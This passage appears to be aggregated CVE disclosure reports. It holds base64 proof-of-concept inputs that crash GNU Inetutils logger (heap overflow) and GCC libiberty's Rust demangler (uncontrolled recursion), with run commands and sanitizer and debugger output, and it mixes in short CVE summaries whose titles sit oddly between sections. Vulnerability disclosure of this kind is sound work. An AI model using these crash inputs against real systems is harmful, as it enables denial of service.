#4  0x00007ffff7de70b3 in \_\_libc\_start\_main (main=0x555555557a00 <main>, argc=1, argv=0x7fffffffe278, init=<optimized out>, fini=<optimized out>, rtld\_fini=<optimized out>, stack\_end=0x7fffffffe268) at ../csu/libc-start.c:308  
#5  0x0000555555557c0e in \_start () at /usr/include/x86\_64-linux-gnu/bits/stdio2.h:107  
\`\`\`

CVE-2021-45782: Untrusted Pointer Dereference in getcmd() at inetutils/src/tftp.c:878

GNU Inetutils 2.2.16-cf091 was discovered to contain a heap-based buffer overflow via the component logger at inetutils/src/logger.c.

\# Heap-based Buffer Overflow in logger

\## Description

Heap-based Buffer Overflow in logger at inetutils/src/logger.c:329

\*\*version\*\*

\`\`\`  
./logger --version  
logger (GNU inetutils) 2.2.16-cf091  
Copyright (C) 2021 Free Software Foundation, Inc.  
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html\>.  
This is free software: you are free to change and redistribute it.  
There is NO WARRANTY, to the extent permitted by law.

Written by Sergey Poznyakoff.  
\`\`\`

\*\*System information\*\*  
Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz

\*\*poc\*\*

\`\`\`  
base64 poc  
ZYdn/3JycmMjY2NPcnJjI2NjTwCAAAoAAIAAAABECm5vjAB9UQpubm9ybREqGzZNaYSEKhs2TWmE  
hHY=  
\`\`\`

\*\*command\*\*

\`\`\`  
./logger -s < ./poc  
\`\`\`

\*\*Result\*\*

\`\`\`  
 ./logger -s < ./poc  
e�g�rrrc#ccOrrc#ccO  
\=================================================================  
\==4156==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c00000003f at pc 0x0000004c679b bp 0x7ffe5f3b7250 sp 0x7ffe5f3b7248  
READ of size 1 at 0x60c00000003f thread T0  
    #0 0x4c679a in send\_to\_syslog /root/disk2/fuzzing/inetutils/inetutils/src/logger.c:329:11  
    #1 0x4c5cf2 in main /root/disk2/fuzzing/inetutils/inetutils/src/logger.c:511:2  
    #2 0x7fa5804200b2 in \_\_libc\_start\_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16  
    #3 0x41c46d in \_start (/root/disk2/fuzzing/inetutils/fuzz/bin/logger+0x41c46d)

0x60c00000003f is located 1 bytes to the left of 120-byte region \[0x60c000000040,0x60c0000000b8)  
allocated by thread T0 here:  
    #0 0x494bad in malloc (/root/disk2/fuzzing/inetutils/fuzz/bin/logger+0x494bad)  
    #1 0x7fa58047f6c3 in getdelim /build/glibc-eX1tMB/glibc-2.31/libio/iogetdelim.c:62:27  
    #2 0x8000000000000005  (<unknown module>)

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/disk2/fuzzing/inetutils/inetutils/src/logger.c:329:11 in send\_to\_syslog  
Shadow bytes around the buggy address:  
  0x0c187fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x0c187fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x0c187fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x0c187fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x0c187fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
\=>0x0c187fff8000: fa fa fa fa fa fa fa\[fa\]00 00 00 00 00 00 00 00  
  0x0c187fff8010: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa  
  0x0c187fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
  0x0c187fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
  0x0c187fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
  0x0c187fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
Shadow byte legend (one shadow byte represents 8 application bytes):  
  Addressable:           00  
  Partially addressable: 01 02 03 04 05 06 07  
  Heap left redzone:       fa  
  Freed heap region:       fd  
  Stack left redzone:      f1  
  Stack mid redzone:       f2  
  Stack right redzone:     f3  
  Stack after return:      f5  
  Stack use after scope:   f8  
  Global redzone:          f9  
  Global init order:       f6  
  Poisoned by user:        f7  
  Container overflow:      fc  
  Array cookie:            ac  
  Intra object redzone:    bb  
  ASan internal:           fe  
  Left alloca redzone:     ca  
  Right alloca redzone:    cb  
  Shadow gap:              cc  
\==4156==ABORTING  
\`\`\`

CVE-2021-45781: Heap-based Buffer Overflow in logger

An Use-After-Free vulnerability in rec_mset_elem_destroy() at rec-mset.c of GNU Recutils v1.8.90 can lead to a segmentation fault or application crash.

CVE-2021-46022: Use After Free in in rec_mset_elem_destroy() at rec-mset.c:83

GCC v12.0 was discovered to contain an uncontrolled recursion via the component libiberty/rust-demangle.c. This vulnerability allows attackers to cause a Denial of Service (DoS) by consuming excessive CPU and memory resources.

\# Uncontrolled Recursion in libiberty/rust-demangle.c

## Description

An Uncontrolled Recursion was discovered in libiberty/rust-demangle.c. The vulnerability could allow attackers to consume excessive resources such as CPU or memory.

\*\*version\*\*

gcc: ad6091d1b891cc8aeda27850c4035f9b6163dcb0

binutils: d16ce6240e556133549f4f69927eb99b28978af2

\*\*System information\*\*
Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz

## Proof of Concept

\*\*poc\*\*

\`\`\`
base64 poc
ZPGoqKioqKj6/ytu8rq7H9UdEJpfUkJfAKh//4ioqKioqKj//2EAAAAA//8AAAQFAG1Ycy8XABgAQgAS//9lP0BHcnJycotdJPMrXNNcfOJ6mgAAXCtmIEi3AAAQ
\`\`\`

\*\*command\*\*

\`\`\`
./c++filt < ./poc
\`\`\`

\*\*Result\*\*

\`\`\`
./c++filt < ./poc
\[1\]    881695 segmentation fault  ./c++filt < ./poc
\`\`\`

\*\*gdb\*\*

\`\`\`
Program received signal SIGSEGV, Segmentation fault.
0x000055555564082d in demangle\_path (rdm=0x7fffffffe040, in\_value=in\_value@entry=1) at ./rust-demangle.c:769
769           backref = parse\_integer\_62 (rdm);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────\[ REGISTERS \]─────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x42
 RCX  0x2
 RDX  0x0
 RDI  0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f42 /\* 'B\_' \*/
 RSI  0x55555564082a (demangle\_path+970) ◂— mov    rdi, rbp
 R8   0x555555696142 (mbuffer+2) ◂— 0x5f42 /\* 'B\_' \*/
 R9   0x555555666024 ◂— 0xfffda778fffda806
 R10  0x0
 R11  0x555555696140 (mbuffer) ◂— 0x5f42525f /\* '\_RB\_' \*/
 R12  0x1
 R13  0x5555556662a0 (\_sch\_istable) ◂— 0x2000200020802
 R14  0x55555564246b ◂— 0x69727473002e245f /\* '\_$.' \*/
 R15  0x555555696140 (mbuffer) ◂— 0x5f42525f /\* '\_RB\_' \*/
 RBP  0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f42 /\* 'B\_' \*/
 RSP  0x7fffff7ff000 ◂— 0x0
 RIP  0x55555564082d (demangle\_path+973) ◂— call   0x55555563e360
──────────────────────────────────────────────────────\[ DISASM \]──────────────────────────────────────────────────────
   0x55555564082a <demangle\_path+970>     mov    rdi, rbp
 ► 0x55555564082d <demangle\_path+973>     call   parse\_integer\_62                <parse\_integer\_62>
        rdi: 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f42 /\* 'B\_' \*/

   0x555555640832 <demangle\_path+978>     mov    edx, dword ptr \[rbp + 0x2c\]
   0x555555640835 <demangle\_path+981>     test   edx, edx
   0x555555640837 <demangle\_path+983>     jne    demangle\_path+64                <demangle\_path+64>

   0x55555564083d <demangle\_path+989>     mov    rbx, qword ptr \[rbp + 0x20\]
   0x555555640841 <demangle\_path+993>     mov    qword ptr \[rbp + 0x20\], rax
   0x555555640845 <demangle\_path+997>     mov    esi, r12d
   0x555555640848 <demangle\_path+1000>    call   demangle\_path                <demangle\_path>

   0x55555564084d <demangle\_path+1005>    mov    qword ptr \[rbp + 0x20\], rbx
   0x555555640851 <demangle\_path+1009>    jmp    demangle\_path+64                <demangle\_path+64>
──────────────────────────────────────────────────\[ SOURCE (CODE) \]───────────────────────────────────────────────────
In file: /home/aidai/fuzzing/binutils/binutils-gdb/libiberty/rust-demangle.c
   764           demangle\_generic\_arg (rdm);
   765         }
   766       PRINT (">");
   767       break;
   768     case 'B':
 ► 769       backref = parse\_integer\_62 (rdm);
   770       if (!rdm->skipping\_printing)
   771         {
   772           old\_next = rdm->next;
   773           rdm->next = backref;
   774           demangle\_path (rdm, in\_value);
──────────────────────────────────────────────────────\[ STACK \]───────────────────────────────────────────────────────
00:0000│ rsp 0x7fffff7ff000 ◂— 0x0
... ↓        6 skipped
07:0038│     0x7fffff7ff038 ◂— 0xb50269d9f4754500
────────────────────────────────────────────────────\[ BACKTRACE \]─────────────────────────────────────────────────────
 ► f 0   0x55555564082d demangle\_path+973
   f 1   0x55555564084d demangle\_path+1005
   f 2   0x55555564084d demangle\_path+1005
   f 3   0x55555564084d demangle\_path+1005
   f 4   0x55555564084d demangle\_path+1005
   f 5   0x55555564084d demangle\_path+1005
   f 6   0x55555564084d demangle\_path+1005
   f 7   0x55555564084d demangle\_path+1005
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
\`\`\`

\*\*poc2\*\*

\`\`\`
base64 poc
aUlaDwAAEGQ6YwAcAP9hAABaAAAAAAB/X1JZQl+DYQIMAABBPVuAAAAAACA6Ui44/zo6Ojr/Ojo6
Ojo6TzD9YhBP8QAAABAkTwBAYv///eAjABAkEBBcXFwQEFxcXDw=
\`\`\`

\*\*command\*\*

\`\`\`
./c++filt < ./poc
\`\`\`

\*\*Result\*\*

\`\`\`
\[1\]    1731144 segmentation fault  ./c++filt < ./poc
\`\`\`

\*\*gdb\*\*

\`\`\`
Program received signal SIGSEGV, Segmentation fault.
demangle\_type (rdm=0x7fffffffe040) at ./rust-demangle.c:866
866       basic = basic\_type (tag);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────\[ REGISTERS \]─────────────────────────────────────────────────────
 RAX  0x555555696142 (mbuffer+2) ◂— 0x5f4259 /\* 'YB\_' \*/
 RBX  0x555555665fd4 ◂— 0xfffd9f3ffffd9f68
 RCX  0x2
 RDX  0x1
 RDI  0x42
 RSI  0x3
 R8   0x555555665364 ◂— 0x3d2d00496d003c /\* '<' \*/
 R9   0x555555666024 ◂— 0xfffda778fffda806
 R10  0x0
 R11  0x7ffff7fa5be0 (main\_arena+96) —▸ 0x5555556b06c0 ◂— 0x0
 R12  0x0
 R13  0x42
 R14  0x0
 R15  0x555555696140 (mbuffer) ◂— 0x5f4259525f /\* '\_RYB\_' \*/
 RBP  0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f4259 /\* 'YB\_' \*/
 RSP  0x7fffff7ff000 ◂— 0x0
 RIP  0x55555563fc9c (demangle\_type+476) ◂— call   0x55555563e7c0
──────────────────────────────────────────────────────\[ DISASM \]──────────────────────────────────────────────────────
 ► 0x55555563fc9c <demangle\_type+476>    call   basic\_type                <basic\_type>
        rdi: 0x42

   0x55555563fca1 <demangle\_type+481>    mov    r12, rax
   0x55555563fca4 <demangle\_type+484>    test   rax, rax
   0x55555563fca7 <demangle\_type+487>    jne    demangle\_type+408                <demangle\_type+408>

   0x55555563fca9 <demangle\_type+489>    lea    eax, \[r13 - 0x41\]
   0x55555563fcad <demangle\_type+493>    cmp    al, 0x13
   0x55555563fcaf <demangle\_type+495>    ja     demangle\_type+96                <demangle\_type+96>

   0x55555563fcb5 <demangle\_type+501>    movzx  eax, al
   0x55555563fcb8 <demangle\_type+504>    movsxd rax, dword ptr \[rbx + rax\*4\]
   0x55555563fcbc <demangle\_type+508>    add    rax, rbx
   0x55555563fcbf <demangle\_type+511>    jmp    rax
──────────────────────────────────────────────────\[ SOURCE (CODE) \]───────────────────────────────────────────────────
In file: /home/aidai/fuzzing/binutils/binutils-gdb/libiberty/rust-demangle.c
   861   if (rdm->errored)
   862     return;
   863
   864   tag = next (rdm);
   865
 ► 866   basic = basic\_type (tag);
   867   if (basic)
   868     {
   869       PRINT (basic);
   870       return;
   871     }
──────────────────────────────────────────────────────\[ STACK \]───────────────────────────────────────────────────────
00:0000│ rsp 0x7fffff7ff000 ◂— 0x0
... ↓        4 skipped
05:0028│     0x7fffff7ff028 ◂— 0x1985771200307400
06:0030│     0x7fffff7ff030 ◂— 0x0
07:0038│     0x7fffff7ff038 ◂— 0x59 /\* 'Y' \*/
────────────────────────────────────────────────────\[ BACKTRACE \]─────────────────────────────────────────────────────
 ► f 0   0x55555563fc9c demangle\_type+476
   f 1   0x555555640547 demangle\_path+231
   f 2   0x55555563ff33 demangle\_type+1139
   f 3   0x555555640547 demangle\_path+231
   f 4   0x55555563ff33 demangle\_type+1139
   f 5   0x555555640547 demangle\_path+231
   f 6   0x55555563ff33 demangle\_type+1139
   f 7   0x555555640547 demangle\_path+231
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
\`\`\`

\*\*poc3\*\*

\`\`\`
base64 poc
aWYgeHMoEP//X1AgL61NPD1bZRAAAAA8srKysrKysrKysrKyXFxcYXRjbyBAbiD//yDPTCBHJiZv
b21vbxByZf9/X1JZREJfJmEAgAAAEABoaWEvaRAQXFxvXA==
\`\`\`

\*\*command\*\*

\`\`\`
./c++filt < ./poc
\`\`\`

\*\*Result\*\*

\`\`\`
./c++filt < ./poc
\[1\]    2031222 segmentation fault  ./c++filt < ./poc
\`\`\`

\*\*gdb\*\*

\`\`\`
Program received signal SIGSEGV, Segmentation fault.
0x000055555563f9b3 in demangle\_path\_maybe\_open\_generics (rdm=rdm@entry=0x7fffffffe040) at ./rust-demangle.c:1075
1075        demangle\_path (rdm, 0);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────\[ REGISTERS \]─────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x4
 RCX  0x0
 RDX  0x59
 RDI  0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f424459 /\* 'YDB\_' \*/
 RSI  0x0
 R8   0x555555665ede ◂— 0x202b2000206e7964 /\* 'dyn ' \*/
 R9   0x4
 R10  0x0
 R11  0x246
 R12  0x0
 R13  0x7fffff7ff040 ◂— 0x0
 R14  0x0
 R15  0x555555696140 (mbuffer) ◂— 0x5f424459525f /\* '\_RYDB\_' \*/
 RBP  0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f424459 /\* 'YDB\_' \*/
 RSP  0x7fffff7ff000 ◂— 0x4
 RIP  0x55555563f9b3 (demangle\_path\_maybe\_open\_generics+35) ◂— call   0x555555640460
──────────────────────────────────────────────────────\[ DISASM \]──────────────────────────────────────────────────────
 ► 0x55555563f9b3 <demangle\_path\_maybe\_open\_generics+35>    call   demangle\_path                <demangle\_path>
        rdi: 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f424459 /\* 'YDB\_' \*/
        rsi: 0x0

   0x55555563f9b8 <demangle\_path\_maybe\_open\_generics+40>    mov    eax, r12d
   0x55555563f9bb <demangle\_path\_maybe\_open\_generics+43>    pop    rbx
   0x55555563f9bc <demangle\_path\_maybe\_open\_generics+44>    pop    rbp
   0x55555563f9bd <demangle\_path\_maybe\_open\_generics+45>    pop    r12
   0x55555563f9bf <demangle\_path\_maybe\_open\_generics+47>    ret

   0x55555563f9c0 <demangle\_path\_maybe\_open\_generics+48>    mov    rdx, qword ptr \[rdi\]
   0x55555563f9c3 <demangle\_path\_maybe\_open\_generics+51>    movzx  edx, byte ptr \[rdx + rax\]
   0x55555563f9c7 <demangle\_path\_maybe\_open\_generics+55>    cmp    dl, 0x42
   0x55555563f9ca <demangle\_path\_maybe\_open\_generics+58>    je     demangle\_path\_maybe\_open\_generics+208
  <demangle\_path\_maybe\_open\_generics+208>

   0x55555563f9d0 <demangle\_path\_maybe\_open\_generics+64>    cmp    dl, 0x49
──────────────────────────────────────────────────\[ SOURCE (CODE) \]───────────────────────────────────────────────────
In file: /home/aidai/fuzzing/binutils/binutils-gdb/libiberty/rust-demangle.c
   1070             PRINT (", ");
   1071           demangle\_generic\_arg (rdm);
   1072         }
   1073     }
   1074   else
 ► 1075     demangle\_path (rdm, 0);
   1076   return open;
   1077 }
   1078
   1079 static void
   1080 demangle\_dyn\_trait (struct rust\_demangler \*rdm)
──────────────────────────────────────────────────────\[ STACK \]───────────────────────────────────────────────────────
00:0000│ rsp 0x7fffff7ff000 ◂— 0x4
01:0008│     0x7fffff7ff008 —▸ 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f424459 /\* 'YDB\_' \*/
02:0010│     0x7fffff7ff010 ◂— 0x0
03:0018│     0x7fffff7ff018 —▸ 0x55555563faad (demangle\_path\_maybe\_open\_generics+285) ◂— mov    qword ptr \[rbp + 0x20\], rbx
04:0020│     0x7fffff7ff020 ◂— 0x0
05:0028│     0x7fffff7ff028 —▸ 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f424459 /\* 'YDB\_' \*/
06:0030│     0x7fffff7ff030 ◂— 0x0
07:0038│     0x7fffff7ff038 —▸ 0x55555563fb98 (demangle\_type+216) ◂— mov    rdx, qword ptr \[rbp + 0x20\]
────────────────────────────────────────────────────\[ BACKTRACE \]─────────────────────────────────────────────────────
 ► f 0   0x55555563f9b3 demangle\_path\_maybe\_open\_generics+35
   f 1   0x55555563faad demangle\_path\_maybe\_open\_generics+285
   f 2   0x55555563fb98 demangle\_type+216
   f 3   0x55555563fb98 demangle\_type+216
   f 4   0x555555640547 demangle\_path+231
   f 5   0x55555563f9b8 demangle\_path\_maybe\_open\_generics+40
   f 6   0x55555563faad demangle\_path\_maybe\_open\_generics+285
   f 7   0x55555563fb98 demangle\_type+216
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
\`\`\`

Tag

#ubuntu